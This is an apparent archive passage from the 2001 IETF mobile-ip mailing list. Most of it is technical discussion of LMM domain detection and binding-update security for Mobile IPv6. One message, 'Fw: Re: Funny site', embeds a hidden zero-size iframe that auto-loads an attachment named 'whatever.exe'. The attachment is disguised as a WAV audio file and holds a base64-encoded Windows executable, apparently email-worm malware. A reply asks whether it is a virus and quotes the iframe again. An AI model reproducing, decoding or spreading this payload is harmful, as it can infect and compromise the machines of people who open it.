> > > is clearer if there is also the text on LMM domain movement detection
> > > as a separate item.
> >
> > yes perhaps we could accomodate such mention..it is not unreasonable
> > especially for spare LMM deployment..
> >
> > >
> > > Settling whether the AR/LMM domains are coupled/decoupled now may
> > > indeed help evaluation but it also may lead to the kind of dispute
> > > Mike was refering to: if we now say AR/LMM domains are the same or not,
> > > we create the kind of assumption that later may get challenged.
> > > To help evaluation when leaving it as a design space issue we may
> > > consider a basic design principle of making protocols independent of
> > > each other when possible.
> >
> > beware..(see top) because if you do them independent...you effectively
> > talk about routing overlays..this is against aforementioned requirements
> > in the LMM req draft.
> >
> > Theo
> > UCL/Mobile Systems
> >
> > >
> > > BR,
> > >
> > > -Jari
> > >
> > > Theo Pagtzis wrote:
> > > >
> > > > Hi Mike,
> > > >
> > > >   the issue of LMM detection pertains primarily on the established issue
> > > > for (auto)configuration of the LMM..since they have to advertise their
> > > > existence (or better LMM capability). Advertisment alone can effect one
> > > > level of indirection (let's put it this way) in the 'detection'
> > > > abstraction still at L3. How you do that is up to the LMM
> > > > autoconfiguration protocol but it has indeed been addressed in the
> > > > requirement space IMHO as the requirement for autoconfiguration...
> > > >
> > > > I would suggest we do not scratch this wound on this draft...there is _a
> > > > lot of space for another_ a pointer for it already exists though..
> > > >
> > > > So by just a single capability flag I can solve (very crudely) and fuse
> > > > the AR/LMM detection...the requirement is how to configure the thing to
> > > > do that cooperatively with an AR/LMM population and has been addressed I
> > > > am sure... (I wrote it.. :)
> > > >
> > > > Theo
> > > > UCL/Mobile Systems
> > > >
> > > > Michael Thomas wrote:
> > > > >
> > > > > Jari T. Malinen writes:
> > > > >  > For Mike: AR domain and LMM domain detection coupling/decoupling is
> > > > >  > a design space issue, if the former is always available and can indicate
> > > > >  > the presence of support for LMM, ok, it is just worth mentioning LMM domain
> > > > >  > detection is an issue whether provided separately or by e.g. AR domain
> > > > >  > detection.
> > > > >
> > > > >    Hmm. Putting it into design space makes it harder to
> > > > >    evaluate solutions by comparing them to requirements.
> > > > >    A somewhat similar argument erupted a while ago about
> > > > >    the assumption that the AAA and HA were always in the
> > > > >    same administrative realm. If we were drawing
> > > > >    up requirements for that, I'd say that that would
> > > > >    be a pretty important one to settle on. I'm
> > > > >    somewhat concerned that this could be a similar
> > > > >    case and that it would be better resolved in the
> > > > >    requirements phase rather than 6 months into
> > > > >    the design phase...
> > > > >
> > > > >               Mike


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 03:57:47 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10841
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 03:57:47 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA03489;
	Thu, 22 Nov 2001 01:55:34 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA05904;
	Thu, 22 Nov 2001 00:55:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM8sZLS026137
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 00:54:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAM8sZ5N026136
	for mobile-ip-dist; Thu, 22 Nov 2001 00:54:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAM8sULS026129
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 00:54:31 -0800 (PST)
Received: from lillen (lillen [129.157.212.23])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAM8sOq22620;
	Thu, 22 Nov 2001 09:54:24 +0100 (MET)
Date: Thu, 22 Nov 2001 09:51:50 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
To: Michael Thomas <mat@cisco.com>
Cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>, mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <15356.13809.317900.9805@thomasm-u1.cisco.com>
Message-ID: <Roam.SIMC.2.0.6.1006419110.26753.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

>    Yes, I agree, this is an issue. For the Home
>    Agent I don't think it's too much of a
>    stretch make an equivalence class between the
>    SPD entry and the binding update; it's sort of
>    like saying that it blocks via access control
>    all binding updates which aren't attached to
>    a (authenticated) SPD entry. This allows it 
>    to prevent hijackers of its subnet by putting
>    up a barricade before the binding update
>    manages to get to the soft squishy heart of
>    binding management code.

I think the home agent is easy - it would need to have an explicit
list of the MNs that it might serve in any case as far as I can tell.
Thus for the home agent to know that a given manually created SA or
a certificate name can perform binding updates for a given Home Address
is easy.

>    Now there's an interesting question of how
>    that translates to a correspondent node that
>    also wanted to use IPsec. I _suppose_ that 
>    it could work equivalently, but I'd be a little 
>    wary about it's scaling in the SPD. Of course,
>    we're already wary about that, so maybe the
>    answer is that it's left as an exercise to
>    the developers who want that capability :-)

But how would the CN know what SPD entries to use?
How would it be told to allow BUs for Home Address X by somebody
using certificate name Y?

>  > I think the existence proof of MIPv6 implementations based on
>  > the I-D using IPsec indicates that this can be avoided - just
>  > make sure that the SADB and SPD lookups occurs on the content of the
>  > Home Address Option instead of source address.
> 
>    I don't think that RFC 2409 has any mention of
>    HAO's, so what you're positing isn't what exists.

I said implementations - not specifications.
Yes, this is a very important distinction in this case.

The fact that there exists implementations means it can't be an
unsolvable problem and I read your mail as heading down that path.
Perhaps I misread ...


>    I think this needs to be discussed further
>    because requiring a binding update to trust
>    a Home Address option seems to imply that
>    that your soft cached state of bindings is
>    getting a lot harder. Ie, if my cache entry is
>    evicted, the CN will stop honoring the HAO,
>    which will also pooch TCP connections...

Who said that?
The MN would need to get an error indicating back from the CN that doesn't
honor the HAO. THen the MN can either 1) reverse tunnel through the HA
or 2) perform a new BU with that CN - when it receives a BAck it is safe
to start sending the HAO again.


>  > Which we need to fix, right? Or are you assuming we can continue to
>  > allow unverified HoA options?
> 
>    I'm not sure. The internet itself doesn't deal
>    well with source spoofing, and RPF is an
>    imperfect beast at best. It looks like all
>    we've done with the HAO is move the problem
>    around, so maybe we ought to consider the larger
>    picture.

Ingress filtering is only one part.
I've exchanged some mail on the mobile-ip mailing list (with Pekka Savola
I think) about ITRACE and the IPPT (upcoming BoF).
If unverified HAO are allowed we need to understand to what extent they
make ITRACE and IPPT more difficult or perhaps impossible.

   Erik



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 05:44:29 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA12364
	for <mobileip-archive@lists.ietf.org>; Thu, 22 Nov 2001 05:44:28 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA24105;
	Thu, 22 Nov 2001 03:43:00 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA16328;
	Thu, 22 Nov 2001 02:42:56 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMAg7LS026365
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 02:42:07 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMAg6W7026364
	for mobile-ip-dist; Thu, 22 Nov 2001 02:42:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMAg3LS026357
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 02:42:03 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA10148
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 02:42:04 -0800 (PST)
From: mikael.wolf@ipunplugged.com
Received: from mailgw.ipunplugged.com (217.134.88.213.host.tele1europe.se [213.88.134.217])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA02240
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 02:42:03 -0800 (PST)
Received: from localhost (c36.local.ipunplugged.com [192.168.4.235])
	by mailgw.ipunplugged.com (8.9.3/8.9.3) with SMTP id LAA24765
	for mobile-ip@sunroof.eng.sun.com; Thu, 22 Nov 2001 11:41:30 +0100
Message-Id: <200111221041.LAA24765@mailgw.ipunplugged.com>
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] Fw: Re: Funny site   
Date: Thu,22 Nov 2001 11:41:25 -0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="bound"
        X-Priority: 3
        X-MSMail-Priority: Normal
        X-Mailer: Microsoft Outlook Express 5.
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This is a multi-part message in MIME format.

--bound
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY><iframe src=3Dcid:SOMECID height=3D0 width=3D0></iframe>
<font>peace</font></BODY></HTML>

--bound
Content-Type: audio/x-wav;
        name="whatever.exe"
Content-ID: <SOMECID>
Content-Transfer-Encoding: base64

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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ADZt=

--bound--


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 06:28:22 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA12915
	for <mobileip-archive@lists.ietf.org>; Thu, 22 Nov 2001 06:28:21 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA03361;
	Thu, 22 Nov 2001 03:26:59 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA21741;
	Thu, 22 Nov 2001 03:26:43 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMBPwLS027519
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 03:25:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMBPwvK027518
	for mobile-ip-dist; Thu, 22 Nov 2001 03:25:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMBPsLS027511
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 03:25:54 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13995
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 03:25:54 -0800 (PST)
Received: from nausicaa.coritel.it ([193.205.242.5])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA05872
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 04:26:08 -0700 (MST)
Received: from archimede (archimede [141.137.43.43])
	by nausicaa.coritel.it (8.11.2/8.11.2) with SMTP id fAMBVfr13442
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 12:31:41 +0100
Message-ID: <001e01c17348$0ddcd3a0$2b2b898d@coritel.it>
From: "Andrea Floris" <floris@coritel.it>
To: <mobile-ip@sunroof.eng.sun.com>
References: <200111221041.LAA24765@mailgw.ipunplugged.com>
Subject: Re: [mobile-ip] Fw: Re: Funny site   
Date: Thu, 22 Nov 2001 12:22:56 +0100
Organization: CoRiTeL
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001B_01C17350.6AB7E8A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C17350.6AB7E8A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

What's that???=20
perhaps a virus?

-----------------------------------------------
Andrea Floris=20
Research Engineer
IP Networking Area
e-mail: floris@coritel.it
tel.:  + 39 06 72589168
URL: http://www.coritel.it/
-----------------------------------------------
CoRiTel - Research Center on Telecommunications
Ericsson Lab Italy SpA
Via Anagnina, 203
00040 Morena - Rome - Italy
-----------------------------------------------



----- Original Message -----=20
From: mikael.wolf@ipunplugged.com=20
To: mobile-ip@sunroof.eng.sun.com=20
Sent: Thursday, November 22, 2001 12:41 PM
Subject: [mobile-ip] Fw: Re: Funny site=20


peace=20

------=_NextPart_000_001B_01C17350.6AB7E8A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3D"Bookman Old Style"><EM>What's that??? =

</EM></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3D"Bookman Old Style"><EM>perhaps a=20
virus?</EM></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>-----------------------------------------------<BR>Andrea Floris=20
<BR>Research Engineer<BR>IP Networking Area<BR>e-mail:&nbsp;<A=20
href=3D"mailto:floris@coritel.it">floris@coritel.it</A><BR>tel.:&nbsp;&nb=
sp;+ 39=20
06 72589168<BR>URL:&nbsp;<A=20
href=3D"http://www.coritel.it/">http://www.coritel.it/</A><BR>-----------=
------------------------------------<BR>CoRiTel=20
- Research Center on Telecommunications<BR>Ericsson Lab Italy SpA<BR>Via =

Anagnina, 203<BR>00040 Morena - Rome -=20
Italy<BR>-----------------------------------------------</DIV>
<DIV>&nbsp;</DIV>
<DIV><BR>&nbsp;</DIV>
<DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
<DIV=20
style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B> <A=20
href=3D"mailto:mikael.wolf@ipunplugged.com"=20
title=3Dmikael.wolf@ipunplugged.com>mikael.wolf@ipunplugged.com</A> =
</DIV>
<DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
href=3D"mailto:mobile-ip@sunroof.eng.sun.com"=20
title=3Dmobile-ip@sunroof.eng.sun.com>mobile-ip@sunroof.eng.sun.com</A> =
</DIV>
<DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, November 22, 2001 =
12:41=20
PM</DIV>
<DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [mobile-ip] Fw: Re: =
Funny site=20
</DIV>
<DIV><BR></DIV><IFRAME height=3D0 src=3D"cid:SOMECID" =
width=3D0></IFRAME><FONT=20
size=3D+0>peace</FONT> </BODY></HTML>

------=_NextPart_000_001B_01C17350.6AB7E8A0--



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 06:40:51 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA13113
	for <mobileip-archive@lists.ietf.org>; Thu, 22 Nov 2001 06:40:50 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA06677;
	Thu, 22 Nov 2001 03:39:46 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA23153;
	Thu, 22 Nov 2001 03:39:36 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
